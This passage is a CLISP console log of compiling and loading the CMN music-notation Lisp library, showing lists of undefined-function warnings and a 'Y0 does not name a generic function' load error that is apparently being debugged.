TROUBLE # LETTERS))) ; (DEFUN DECIMAL-TO-OCTAL (N &OPTIONAL (NN 0) ...) ...) Compilation of file /usr/local/src/lisp/cmn/cmn-utils.lisp is finished. 0 errors, 0 warnings ;; Loading file /usr/local/src/lisp/cmn/cmn-utils.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn-utils.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn-objects.lisp ... ; (IN-PACKAGE :CMN) ; (DEFVAR *CMN-DEFAULT-FONT* (LIST "Times-Roman" "Times-Italic" ...)) ; (DEFUN NORMAL-FONT NIL (FIRST *CMN-DEFAULT-FONT*)) ; (DEFUN ITALIC-FONT NIL (SECOND *CMN-DEFAULT-FONT*)) ; (DEFUN BOLD-FONT NIL (THIRD *CMN-DEFAULT-FONT*)) ; (DEFUN BOLD-ITALIC-FONT NIL (FOURTH *CMN-DEFAULT-FONT*)) ; (DEFVAR *CMN-DEFAULT-FONT-SIZE* 1.0) ; (DEFPARAMETER PREWHITESPACE " ") ; (DEFCLASS SELF-ACTING NIL ...) ; (DEFUN MAKE-SELF-ACTING (&KEY ACTION ARGUMENT) ...) ; (DEFMETHOD SELF-ACTING-P ((OBJ SELF-ACTING)) T) ; (DEFMETHOD SELF-ACTING-P ((OBJ T)) NIL) ; (EVAL-WHEN (COMPILE LOAD EVAL) (DEFMACRO DEFERRED-ACTION (NAME) ...)) ; (DEFGENERIC COPY (READ-OBJECT &OPTIONAL WRITE-OBJECT)) ; (DEFGENERIC DESCRY (OBJECT &OPTIONAL STREAM CONTROLLER)) ; (DEFGENERIC DISPLAY (OBJECT CONTAINER SCORE &OPTIONAL JUSTIFYING)) ; (DEFGENERIC HOUSE (OBJECT SCORE)) ; (DEFGENERIC NOTIFY (CONTROLLER &OPTIONAL OBJECTS)) ; (DEFGENERIC IDENTIFY (OBJECT)) ; (DEFMETHOD DESCRY (ANYTHING &OPTIONAL STREAM ...) ...) ; (DEFMETHOD IDENTIFY (ANYTHING) ANYTHING) ; (DEFCLASS WRITE-PROTECT NIL NIL) ; (DEFMETHOD WRITE-PROTECTED ((OBJ T)) NIL) ; (DEFMETHOD WRITE-PROTECTED ((OBJ WRITE-PROTECT)) T) ; (DEFCLASS BOX-MIXIN NIL ...) ; (DEFCLASS BOX (BOX-MIXIN) ...) ; (DEFMETHOD BOX-P ((OBJ T)) NIL) ; (DEFMETHOD BOX-P ((OBJ BOX-MIXIN)) T) ; (DEFUN COPY-BOUNDING-BOX (OBJ1 OBJ2) (SETF (BOX-X0 OBJ2) (BOX-X0 OBJ1)) ...) ; (DEFMETHOD COPY ((BOX BOX-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFMETHOD DESCRY ((BOX BOX-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFMACRO WITH-POSITION (OBJ X0 Y0 ...) ...) ; (DEFMETHOD WIDTH ((BOX BOX-MIXIN)) (- (BOX-X1 BOX) (BOX-X0 BOX))) ; (DEFCLASS MATRIX-MIXIN NIL ((MATRIX :INITARG :MATRIX :INITFORM NIL ...))) ; (DEFCLASS MATRIX (MATRIX-MIXIN) ((MATRIX :ACCESSOR MATRIX))) ; (DEFMETHOD MATRIX-P ((OBJ T)) NIL) ; (DEFMETHOD MATRIX-P ((OBJ MATRIX-MIXIN)) T) ; (DEFUN MAKE-MATRIX NIL (MAKE-INSTANCE 'MATRIX)) ; (DEFMETHOD COPY ((MATRIX MATRIX-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFUN IDENTITY-MATRIX-P (OBJECT) (LET (#) (OR # #))) ; (DEFUN INVISIBLE-P (OBJECT) (LET ((MAT #)) (AND MAT (= # 0) (= # 0) ...))) ; (DEFUN INVISIBLE-MATRIX (MAT) (AND MAT (= # 0) (= # 0) (= # 0) (= # 0))) ; (DEFUN TRANSLATE-MATRIX (SCORE OBJECT X0 Y0 ...) (LET (#) (IF BASE # #))) ; (DEFMETHOD DESCRY ((MATRIX MATRIX-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFUN IDENTIFY-MATRIX (OBJECT) (IF (NOT #) (IF # " (scale 0 0)" #) "")) ; (DEFUN ROTATE (ANGLE) ...) ; (DEFUN SCALE (XSCL YSCL) ...) ; (DEFUN MIRROR NIL ...) ; (DEFVAR MIRRORED (MAKE-SELF-ACTING :ACTION #'(LAMBDA # # ...) ...)) ; (DEFUN TRANSFORM (MATR) ...) ; (DEFUN INVISIBLE NIL ...) ; (DEFVAR INVISIBLE (MAKE-SELF-ACTING :ACTION #'(LAMBDA # # ...) ...)) ; (DEFCLASS PATTERN-MIXIN NIL ...) ; (DEFCLASS PATTERN (PATTERN-MIXIN) ...) ; (DEFMETHOD COPY ((PATTERN PATTERN-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFMETHOD DESCRY ((PATTERN PATTERN-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFCLASS WRITE-PROTECTED-MARKS-MIXIN NIL ...) ; (DEFCLASS MARKS-MIXIN (WRITE-PROTECTED-MARKS-MIXIN) ((MARKS :ACCESSOR MARKS))) ; (DEFMETHOD MARKS-P ((OBJ T)) NIL) ; (DEFMETHOD MARKS-P ((OBJ MARKS-MIXIN)) T) ; (DEFMETHOD DESCRY (# &OPTIONAL STREAM ...) ...) ; (DEFMETHOD COPY ((VIS WRITE-PROTECTED-MARKS-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFUN DISPLAY-MARKS (OBJECT SCORE &OPTIONAL ...) ...) ; (DEFMETHOD ADD-TO-MARKS ((ANYTHING WRITE-PROTECTED-MARKS-MIXIN) OBJECTS) ...) ; (DEFUN EDIT-MARK (ANYTHING MARK-IDENTIFIER MARK-EDITOR) (LOOP FOR M IN ...)) ; (DEFUN IDENTIFY-MARKS (OBJECT &OPTIONAL FILE) ...) ; (DEFCLASS VISIBLE-MIXIN ...) ; (DEFCLASS VISIBLE (VISIBLE-MIXIN MARKS-MIXIN BOX ...) ...) ; (DEFMETHOD VISIBLE-P ((OBJ T)) NIL) ; (DEFMETHOD VISIBLE-P ((OBJ VISIBLE-MIXIN)) T) ; (DEFMETHOD DESCRY ((VIS VISIBLE-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFMETHOD COPY ((VIS VISIBLE-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFUN IDENTIFY-VISIBLE (OBJECT &OPTIONAL FILE) ...) ; (DEFUN LAYOUT (VAL) (MAKE-SELF-ACTING :ARGUMENT VAL :ACTION ...)) ; (DEFCLASS FONT-MIXIN NIL ...) ; (DEFMETHOD DESCRY ((FNT FONT-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFMETHOD COPY ((FNT FONT-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFCLASS TEXT (FONT-MIXIN VISIBLE) ...) ; (DEFMETHOD TEXT-P ((OBJ T)) NIL) ; (DEFMETHOD TEXT-P ((OBJ TEXT)) T) ; (DEFMETHOD DESCRY ((TEXT TEXT) &OPTIONAL STREAM ...) ...) ; (DEFMETHOD COPY ((TEXT TEXT) &OPTIONAL OBJECT) ...) ; (DEFUN GLYPH (NUM) ...) ; (DEFUN MAKE-ISO-ENCODED-VERSION (SCORE FONT-NAME NEW-FONT-NAME) ...) ; (DEFERRED-ACTION CENTER) ; (DEFERRED-ACTION FENCES) ; (DEFERRED-ACTION WALLS) ; (DEFERRED-ACTION EXPANDERS) ; (DEFERRED-ACTION X0) ; (DEFERRED-ACTION Y0) ; (DEFERRED-ACTION X1) ; (DEFERRED-ACTION Y1) ; (DEFERRED-ACTION DX) ; (DEFERRED-ACTION DY) ; (DEFERRED-ACTION MATRIX) ; (DEFERRED-ACTION PATTERN) ; (DEFERRED-ACTION COLOR) ; (DEFERRED-ACTION FONT-NAME) ; (DEFERRED-ACTION FONT-SIZE) ; (DEFERRED-ACTION FONT-SCALER) ; (DEFUN UNDERLINED NIL ...) ; (DEFVAR UNDERLINED (UNDERLINED)) ; (DEFUN GRAY-SCALE (&OPTIONAL (N 0)) ...) ; (DEFUN SETF-GRAY-SCALE (OBJ N) (SETF (COLOR OBJ) (LIST N N N))) ; (DEFSETF GRAY-SCALE SETF-GRAY-SCALE) ; (DEFUN OUTLINED (&OPTIONAL (N 0)) ...) ; (DEFCLASS ODB-MIXIN NIL ...) ; (DEFCLASS ODB (ODB-MIXIN) ...) ; (DEFMETHOD ODB-P ((OBJ T)) NIL) ; (DEFMETHOD ODB-P ((OBJ ODB-MIXIN)) T) ; (DEFMETHOD DESCRY ((ODB ODB-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFMETHOD COPY ((ODB ODB-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFMETHOD ONSET (VAL) (MAKE-SELF-ACTING :ARGUMENT VAL :ACTION ...)) ; (DEFMETHOD DURATION ((VAL NUMBER)) ...) ; (DEFMETHOD BEAT ((VAL NUMBER)) (MAKE-SELF-ACTING :ARGUMENT VAL :ACTION ...)) ; (DEFCLASS STAFF-RELATIVE-MIXIN NIL ...) ; (DEFMETHOD STAFF-RELATIVE-MIXIN-P ((OBJ T)) NIL) ; (DEFMETHOD STAFF-RELATIVE-MIXIN-P ((OBJ STAFF-RELATIVE-MIXIN)) T) ; (DEFMETHOD DESCRY ((STF-Y0 STAFF-RELATIVE-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFMETHOD COPY ((STF-Y0 STAFF-RELATIVE-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFMETHOD STAFF-Y0 ((BOX BOX-MIXIN)) (BOX-Y0 BOX)) ; (DEFERRED-ACTION STAFF-Y0) ; (DEFCLASS THICK-MIXIN NIL ((THICKNESS :INITARG :THICKNESS :INITFORM NIL ...))) ; (DEFCLASS THICK (THICK-MIXIN) ((THICKNESS :ACCESSOR THICKNESS))) ; (DEFMETHOD DESCRY ((THK THICK-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFMETHOD COPY ((THK THICK-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFERRED-ACTION THICKNESS) ; (DEFCLASS BREATHING-SPACE-MIXIN NIL ...) ; (DEFCLASS BREATHING-SPACE NIL ...) ; (DEFMETHOD DESCRY ((THK BREATHING-SPACE-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFMETHOD COPY ((THK BREATHING-SPACE-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFERRED-ACTION BREATHING-SPACE) ; (DEFCLASS SCORE-OBJECT-MIXIN (ODB-MIXIN VISIBLE-MIXIN) ...) ; (DEFMETHOD SCORE-OBJECT-P ((OBJ T)) NIL) ; (DEFMETHOD SCORE-OBJECT-P ((OBJ SCORE-OBJECT-MIXIN)) T) ; (DEFCLASS SCORE-OBJECT (SCORE-OBJECT-MIXIN ODB VISIBLE) NIL) ; (DEFUN OBJECT-ADDRESS (OBJECT) ...) ; (DEFMETHOD PRINT-OBJECT ((OBJECT SCORE-OBJECT-MIXIN) STREAM) ...) ; (DEFMETHOD COPY ((OBJ SCORE-OBJECT-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFCLASS SUNDRY-MIXIN (SCORE-OBJECT-MIXIN THICK-MIXIN) ...) ; (DEFCLASS SUNDRY (SUNDRY-MIXIN SCORE-OBJECT THICK) ...) ; (DEFCLASS WRITE-PROTECTED-SUNDRY (WRITE-PROTECT SUNDRY-MIXIN) NIL) ; (DEFMETHOD SUNDRY-P ((OBJ T)) NIL) ; (DEFMETHOD SUNDRY-P ((OBJ SUNDRY-MIXIN)) T) ; (DEFUN MAKE-SUNDRY (&KEY NAME MARK ...) ...) ; (DEFMETHOD DISPLAY ((SUNDRY SUNDRY-MIXIN) NOTE SCORE ...) ...) ; (DEFMETHOD DESCRY ((SUNDRY SUNDRY-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFMETHOD IDENTIFY ((SUNDRY SUNDRY-MIXIN)) ...) ; (DEFMETHOD COPY ((SUNDRY SUNDRY-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFGENERIC BACKPATCH (MARK)) ; (DEFGENERIC BACKPATCH-TIME (MARK OBJ)) ; (DEFGENERIC BACKPATCH-START (MARK)) ; (DEFMETHOD BACKPATCH (ANYTHING) (DECLARE (IGNORE ANYTHING)) NIL) ; (DEFMETHOD BACKPATCH ((SUNDRY SUNDRY-MIXIN)) NIL) ; (DEFMETHOD BACKPATCH-TIME ((SUNDRY SUNDRY-MIXIN) OBJ) ...) ; (DEFMETHOD BACKPATCH-START (ANYTHING) (DECLARE (IGNORE ANYTHING)) NIL) ; (DEFUN DIRECTION-FROM-NOTE (MARK OUR-NOTE) ...) ; (DEFUN CMN-MARK (OBJ &REST OBJECTS) (LET (#) (LOOP FOR ACT IN ...) NEW-MARK)) ; (DEFUN MARK (FUNC NAME &REST ...) ...) ; (DEFMETHOD NOTIFY ((SUNDRY SUNDRY-MIXIN) &OPTIONAL OBJECTS) ...) ; (DEFCLASS PAGE-MIXIN (ODB-MIXIN BOX-MIXIN STAFF-RELATIVE-MIXIN) ...) ; (DEFCLASS WRITE-PROTECTED-PAGE (WRITE-PROTECT PAGE-MIXIN) NIL) ; (DEFCLASS PAGE (PAGE-MIXIN ODB BOX) ((PAGE-SPACE :ACCESSOR PAGE-SPACE))) ; (DEFUN PAGE-MARK NIL (MAKE-INSTANCE 'PAGE)) ; (DEFVAR PAGE-MARK (MAKE-INSTANCE 'WRITE-PROTECTED-PAGE)) ; (DEFMETHOD PAGE-P ((OBJ T)) NIL) ; (DEFMETHOD PAGE-P ((OBJ PAGE-MIXIN)) T) ; (DEFMETHOD COPY ((PAGE PAGE-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFMETHOD DESCRY ((PAGE PAGE-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFMETHOD NOTIFY ((PAGE PAGE-MIXIN) &OPTIONAL OBJECTS) ...) ; (DEFMETHOD IDENTIFY ((PAGE PAGE-MIXIN)) "(page-mark)") ; (DEFCLASS LINE-MIXIN (ODB-MIXIN VISIBLE-MIXIN BOX-MIXIN ...) ...) ; (DEFCLASS WRITE-PROTECTED-LINE (WRITE-PROTECT LINE-MIXIN) NIL) ; (DEFCLASS LINE (LINE-MIXIN ODB VISIBLE ...) ...) ; (DEFUN LINE-MARK (&REST ARGS) (LET (#) (LOOP FOR ARG IN ARGS ...) NEW-LINE)) ; (DEFVAR LINE-MARK (MAKE-INSTANCE 'WRITE-PROTECTED-LINE)) ; (DEFMETHOD LINE-P ((OBJ T)) NIL) ; (DEFMETHOD LINE-P ((OBJ LINE-MIXIN)) T) ; (DEFMETHOD COPY ((LINE LINE-MIXIN) &OPTIONAL OBJECT) ...) ; (DEFMETHOD DESCRY ((LINE LINE-MIXIN) &OPTIONAL STREAM ...) ...) ; (DEFMETHOD NOTIFY ((LINE LINE-MIXIN) &OPTIONAL OBJECTS) ...) ; (DEFMETHOD IDENTIFY ((LINE LINE-MIXIN)) "(line-mark)") ; (DEFUN LINE-BREAK (&REST ARGS) (APPLY #'LINE-MARK ARGS)) ; (DEFVAR LINE-BREAK (MAKE-INSTANCE 'WRITE-PROTECTED-LINE)) ; (DEFUN PAGE-BREAK NIL (MAKE-INSTANCE 'PAGE)) ; (DEFVAR PAGE-BREAK (MAKE-INSTANCE 'WRITE-PROTECTED-PAGE)) ; (DEFCLASS SECTION NIL ((DATA :ACCESSOR DATA :INITFORM NIL :INITARG :DATA))) ; (DEFMETHOD SECTION-P ((OBJ T)) NIL) ; (DEFMETHOD SECTION-P ((OBJ SECTION)) T) ; (DEFUN SECTION (&REST ARGS) (MAKE-INSTANCE 'SECTION :DATA ARGS)) Compilation of file /usr/local/src/lisp/cmn/cmn-objects.lisp is finished. The following functions were used but not defined: SCR-SIZE CMN-ERROR G-SEND TAG-P STEM-IS-UP? 0 errors, 0 warnings ;; Loading file /usr/local/src/lisp/cmn/cmn-objects.fas ... *** - Y0 does not name a generic function 1. Break CMN[4]> (load :print t :verbose t "cmn-objects.fas") *** - EVAL/APPLY: keyword T is illegal for #. The possible keywords are (:VERBOSE :PRINT :IF-DOES-NOT-EXIST :EXTERNAL-FORMAT :ECHO :COMPILING :EXTRA-FILE-TYPES) 2. Break CMN[5]> Abort 1. Break CMN[4]> (load "cmn-objects.fas: :print t :verbose t) *** - Ctrl-C: User break 2. Break CMN[6]> Abort 1. Break CMN[4]> (load "cmn-objects.fas" :print t :verbose t) ;; Loading file cmn-objects.fas ... # *CMN-DEFAULT-FONT* NORMAL-FONT ITALIC-FONT BOLD-FONT BOLD-ITALIC-FONT *CMN-DEFAULT-FONT-SIZE* PREWHITESPACE WARNING: Replacing method #)> in # WARNING: Replacing method # #)> in # WARNING: Replacing method #)> in # WARNING: Replacing method # #)> in # # MAKE-SELF-ACTING WARNING: Replacing method #)> in # #)> WARNING: Replacing method #)> in # #)> DEFERRED-ACTION # WARNING: Removing all methods of # # # # # WARNING: Removing all methods of # # #)> #)> # WARNING: Replacing method #)> in # #)> WARNING: Replacing method #)> in # #)> WARNING: Replacing method #)> in # WARNING: Replacing method #)> in # *** - Y0 does not name a generic function 2. Break CMN[7]> (dribble) --------------- # [2]> (lisp-implementation-type) "CLISP" [3]> (lisp-implementation-version) "2000-03-06 (March 2000)" [4]> (load "cmn-all" :print t :verbose t) ;; Loading file /usr/local/src/lisp/cmn/cmn-all.lisp ... "/usr/local/src/lisp/cmn/" "/usr/local/src/lisp/cmn/" "/usr/local/src/lisp/cmn/" Compiling file /usr/local/src/lisp/cmn/cmn-loop.lisp ... Compilation of file /usr/local/src/lisp/cmn/cmn-loop.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: LOOP-MAKE-SETQ LOOP-DESETQ-INTERNAL LOOP-MAKE-DESETQ LOOP-TASSOC LOOP-TRANSLATE LOOP-TRANSLATE-1 LOOP-SIMPLEP LOOP-OUTPUT-GROUP LOOP-MAKE-VARIABLE LOOP-HACK-ITERATION LOOP-TMEMBER LOOP-OPTIMIZE-DUPLICATED-CODE-ETC LOOP-BIND-BLOCK LOOP-GET-PROGN-1 INITIAL-VALUE LOOP-DECLARE-VARIABLE LOOP-TYPED-INIT VARIABLE-DECLARATIONS LOOP-TEQUAL LOOP-CONSTANTP LOOP-MAKE-CONDITIONALIZATION LOOP-PSEUDO-BODY LOOP-GET-PROGN LOOP-EMIT-BODY LOOP-CONSTRUCT-RETURN LOOP-GET-FORM LOOP-OPTIONAL-TYPE LOOP-MAKE-ITERATION-VARIABLE LOOP-TYPED-ARITH LOOP-CDRIFY LOOP-WHEN-IT-VARIABLE LOOP-SIMPLEP-1 LOOP-END-TESTIFY LOOP-MAKE-PSETQ LOOP-SEQUENCER LOOP-GATHER-PREPS LOOP-MAYBE-BIND-FORM LOOP-NAMED-VARIABLE The following functions were used but are deprecated: GENTEMP ;; Loading file /usr/local/src/lisp/cmn/cmn-loop.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn-loop.fas is finished. T CMN-COMPILE-AND-LOAD Compiling file /usr/local/src/lisp/cmn/cmn-init.lisp ... Compilation of file /usr/local/src/lisp/cmn/cmn-init.lisp is finished. 0 errors, 0 warnings ;; Loading file /usr/local/src/lisp/cmn/cmn-init.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn-init.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn-utils.lisp ... Compilation of file /usr/local/src/lisp/cmn/cmn-utils.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: RATIFY-1 RATIOP RATIFY ;; Loading file /usr/local/src/lisp/cmn/cmn-utils.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn-utils.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn-objects.lisp ... Compilation of file /usr/local/src/lisp/cmn/cmn-objects.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: SCR-SIZE IDENTITY-MATRIX-P INVISIBLE-P MAKE-SELF-ACTING CMN-ERROR NORMAL-FONT G-SEND UNDERLINED OBJECT-ADDRESS DISPLAY-MARKS TAG-P STEM-IS-UP? LINE-MARK ;; Loading file /usr/local/src/lisp/cmn/cmn-objects.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn-objects.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn0.lisp ... Compilation of file /usr/local/src/lisp/cmn/cmn0.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: SETF-PROLOG PRINT-IF-CHANGED STYLE-LIST IDENTIFY-SCORE G-DASHED-LINE G-LINETO G-RLINETO G-MOVETO G-RMOVETO G-COMMENT G-SET-LINE-WIDTH G-SET-COLOR G-DRAW G-PUSH G-POP G-SEND MATRIX-FRONT G-SET-PATTERN MATRIX-BACK G-CURVETO G-FILL G-ARC G-HEADER INCHES-TO-PS G-FOOTER G-BBOX G-PAGE-NUMBER C-OPEN HEADER CLEAR-BOUNDS FOOTER C-CLOSE CLEAR-SCORE RESTORE-CMN-VARS SAVE-CMN-VARS MAKE-TITLE INITIALIZE SYSTEM CMN-ERROR DRAWIFY FILTERIFY SLURIFY MARKIFY TIEIFY BEAMIFY JUSTIFY PAGIFY LINIFY COMPACTIFY BOXIFY FILLIFY SCORIFY EDIFY CHECK-FOR-LEFT-OVERS FINALIZE BRACKET-P BRACE-P STAFF CMN-CLEAR-PIPE MAKE-STAFF-NAME AUDIBLE-P RHYTHM-P PAUSE-P TAG-P ACCIDENTAL-P DYNAMICS-P NOTIFIABLE COMMENT MOVETO LINETO DRAW BAR-P CMN-PIPE-CONTEXT SYSTEM-CONTEXT STAFF-CONTEXT STAFF-DATA-START STAFF-DATA-CONTINUATION OWNER-CONTEXT CMN-ERROR-1 ;; Loading file /usr/local/src/lisp/cmn/cmn0.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn0.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn-grfx.lisp ... Compilation of file /usr/local/src/lisp/cmn/cmn-grfx.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: CMN-RECEIVE-SND-1 C-COMMENT C-MATRIX C-PRINT C-LINEWIDTH X-LINE-WIDTH D_PENSIZE X-COLOR C-MOVETO C-RMOVETO C-LINETO C-RLINETO G-MOVETO G-LINETO G-RLINETO G-RMOVETO C-CURVETO OUTPUT-BEZIER POSITION-X POSITION-Y X-CIRCLE C-LINEWIDTHCLEARED G-SET-LINE-WIDTH X-LINETO D_LINETO D_MOVETO X-POLYGON X-TEXT PS-TO-X-FONT-NAME G-SET-FONT CMN-PCLOSE G-CLEAR-CONTEXT CMN-POPEN X-CLEAR-WINDOW G-SET-COLOR ;; Loading file /usr/local/src/lisp/cmn/cmn-grfx.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn-grfx.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn-glyphs.lisp ... Compilation of file /usr/local/src/lisp/cmn/cmn-glyphs.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: DRAW-COMMON-TIME DRAW-FLAT DRAW-N ;; Loading file /usr/local/src/lisp/cmn/cmn-glyphs.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn-glyphs.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn1.lisp ... WARNING in function DISPLAY-GRAPHICS in lines 3764..3777 : variable GBB is not used. Misspelled or missing IGNORE declaration? Compilation of file /usr/local/src/lisp/cmn/cmn1.lisp is finished. 0 errors, 1 warning The following functions were used but not defined: BAR-PRINT-NAME CHECK-FOR-CMN-STORE-TAG UR-BAR BAR REPEAT-DOTS BRACKET UR-BRACE UR-CLEF TEXT THE-USUAL-SUSPECTS UR-ACCIDENTAL DRAW-HALF-SIZE SIGN-NAME UR-KEY NOTE-SIGN PLACE-OF-NOTE-ON-CLEF UR-METER TEXT-TO-NUMERAL FLOATING-NOTE TEXT-DX ALGOL+ UR-TEXT CMN-TEXT UR-PAUSE DRAW-GP REST-P CHORD-P REST-MARK STORE-DATA NOTE-P STEM-IS-UP MAXIMUM-LINE UR-DYNAMICS TEXT-TO-DYNAMIC-SPACING TEXT-TO-DYNAMIC HEAD-LINE DISPLAY-STACCATO DRAW-STACCATO STEM-END DISPLAY-ACCENT DISPLAY-LITTLE-SWELL DISPLAY-WEDGE STACCATO-P WHOLE-NOTE-P DISPLAY-TENUTO DISPLAY-DOWN-BOW DISPLAY-UP-BOW DISPLAY-DETACHE DISPLAY-MARTELE DISPLAY-MARCATO DISPLAY-BARTOK-PIZZICATO DISPLAY-THUMB DRAW-BOTH-PARENS DISPLAY-LEFT-HAND-PIZZICATO TENUTO-P DISPLAY-NATURAL-HARMONIC STEM-IS-DOWN? DISPLAY-PEDAL DISPLAY-PEDAL-OFF DISPLAY-SEGNO DISPLAY-CODA QUARTERS RHYTHM-P DISPLAY-MOUTH-POSITION DISPLAY-SWIRL DISPLAY-ORNAMENT DISPLAY-MORDENT ORNAMENT DISPLAY-INVERTED-MORDENT DISPLAY-DOUBLE-MORDENT STEM-IS-UP? DISPLAY-TURN DISPLAY-SHORT-TRILL DISPLAY-TR DISPLAY-TRILLED-TURN PLACE-OF-NOTE-GIVEN-NOTE ONE-OTHER-NOTE DOTS SIGN DISPLAY-TRILL DISPLAY-ARPEGGIO ARROW-P DISPLAY-NO-ARPEGGIO DISPLAY-ARROW ARPEGGIO AUDIBLE-STEM-DIRECTION NOTE-LINE NOTE-SIZE DRAW-ARROWHEAD-UP DRAW-ARROWHEAD-DOWN UR-REHEARSAL-MARK DISPLAY-REHEARSAL-MARK NEXT-REHEARSAL-NUMBER NEXT-REHEARSAL-LETTER DISPLAY-MEASURE-MARK DISPLAY-FINGERING PITCH DISPLAY-OCTAVE START-OCTAVE START-AND-END-OCTAVE END-OCTAVE AUDIBLE-P LINE READ-4-NUMBERS INSERT-EPS-FILE DISPLAY-GRAPHICS ;; Loading file /usr/local/src/lisp/cmn/cmn1.fas ... ;; Loading of file /usr/local/src/lisp/cmn/cmn1.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn2.lisp ... Compilation of file /usr/local/src/lisp/cmn/cmn2.lisp is finished. 0 errors, 0 warnings The following functions were used but not defined: RHYTHM-NAME FACTORIZE HOW-MANY-DOTS HOW-MANY-FLAGS COPY-SLURS COPY-TIES DASHED-STEM CAR-MEMBER NOTE-NAME HALVE-DURATION IDENTIFY-STORE-DATA SORTED-TIES UR-NOTE DRAW-BREATH-IN DRAW-BREATH-OUT DRAW-AIRY-HEAD DRAW-ARROW-UP DRAW-ARROW-DOWN GET-NOTE-HEAD NOTE-SIZE NOTE-HEAD-X0-OFFSET TREMOLO-SLASHES SLANT PARANOID MEASURED TREMOLO-NOTE MAXIMUM-LENGTH DRAW-BEAMS DRAW-FLAGS DISPLAY-NOTE-SLURS-AND-BRACKETS COLLIDER-SIGN-BACKUP COLLISION-SIGN-BACKUP GET-STEM-END NOTE-HEAD-Y0-OFFSET DRAW-STEM TREMOLO-TYPE DRAW-TREMOLO DRAW-TWO-NOTE-TREMOLO ALIGN-TIED-NOTES CHORD STAFF-PITCH-> DISPLACE-CHORD ACCIDENT-CHORD DISPLAY-TIED-CHORD TIE-TYPE UR-REST REST-NAME GET-REST REST-COPY RQ GRACE-NOTE CRESCENDO-P TAG-NOTE ANNOTATE-BEAM PREPARE-SLUR NOTE PLACE-OF-NOTE-GIVEN-NOTE PITCH-TO-NOTE-OCTAVE-AND-ACCIDENTAL FREQ-TO-PITCH ADD-NOTE-TO-STAFF FIND-STAFF FREQ-TO-NOTE-OCTAVE-AND-ACCIDENTAL SCORE-RELATIVE-ONSET NOT-METERED ADD-DATA-1 SET-STAFF-METER REINITIALIZE-SCORE USER-ADD-TO-LEFT-SLURS USER-ADD-TO-RIGHT-SLURS DEAL-WITH-DELAYED-SLURS NOTES CHECK-FOR-DELAYED-SLURS MAP-OVER-STAVES CHECK-FOR-CHORDS CMN-STORE INIT-CLM-INPUT ADD-NOTE MAKE-NAME-A-STRING FINISH-CLM-INPUT SET-CMN-TEMPO IDENTIFY-SCORE ;; Loading file /usr/local/src/lisp/cmn/cmn2.fas ... WARNING: Removing all methods of # ;; Loading of file /usr/local/src/lisp/cmn/cmn2.fas is finished. Compiling file /usr/local/src/lisp/cmn/cmn3.lisp ... WARNING in function #:TOP-LEVEL-FORM-140-1 in lines 1616..1626 : variable REST is not used. Misspelled or missing IGNORE declaration? Compilation of file /usr/local/src/lisp/cmn/cmn3.lisp is finished. 0 errors, 1 warning The following functions were used but not defined: NO-BEAT-SUBDIVISION DISPLAY-BEAT-SUBDIVISION-NUMBER INTEGER-MULTIPLE FUNNY-CASE DISPLAY-SUBDIVISION-BRACKET DISPLAY-BRACKETED-NUMBER IDENTIFY-BOX DISPLAY-CONNECTED-TEXT JUSTIFY-CONNECTED-TEXT CTX CTY TEXT-ALLOTMENT CONNECTED-UR-TEXT TEXT- CONNECTING-PATTERN-LEVEL -TEXT- -TEXT CONNECTING-PATTERN LYRIC-CENTER-JUSTIFIED LYRIC-VERSE LYRIC-LEFT-JUSTIFIED DISPLAY-GLISSANDO-TO GLISSANDO-TO PUSH-GLISSANDO BEGIN-GLISSANDO POP-GLISSANDO END-GLISSANDO-1 END-GLISSANDO BEGIN-PORTAMENTO END-PORTAMENTO ADD-GLISSANDO DISPLAY-CRESCENDO CRESCENDO PUSH-CRESCENDO PUSH-DIMINUENDO POP-CRESCENDO POP-DIMINUENDO BEGIN-CRESCENDO END-CRESCENDO BEGIN-DIMINUENDO END-DIMINUENDO DIMINUENDO FIND-TIME-LINE-POSITION-OF DISPLAY-ENDING FIRST-ENDING SECOND-ENDING END-PEND END-FIRST-ENDING BEGIN-FIRST-ENDING BEGIN-SECOND-ENDING END-SECOND-ENDING OTHER-ENDING USER-ADD-TO-TIES PUSH-TIE NEW-TIE TIE-TIE POP-TIE USER-ADD-TO-LEFT-TIES 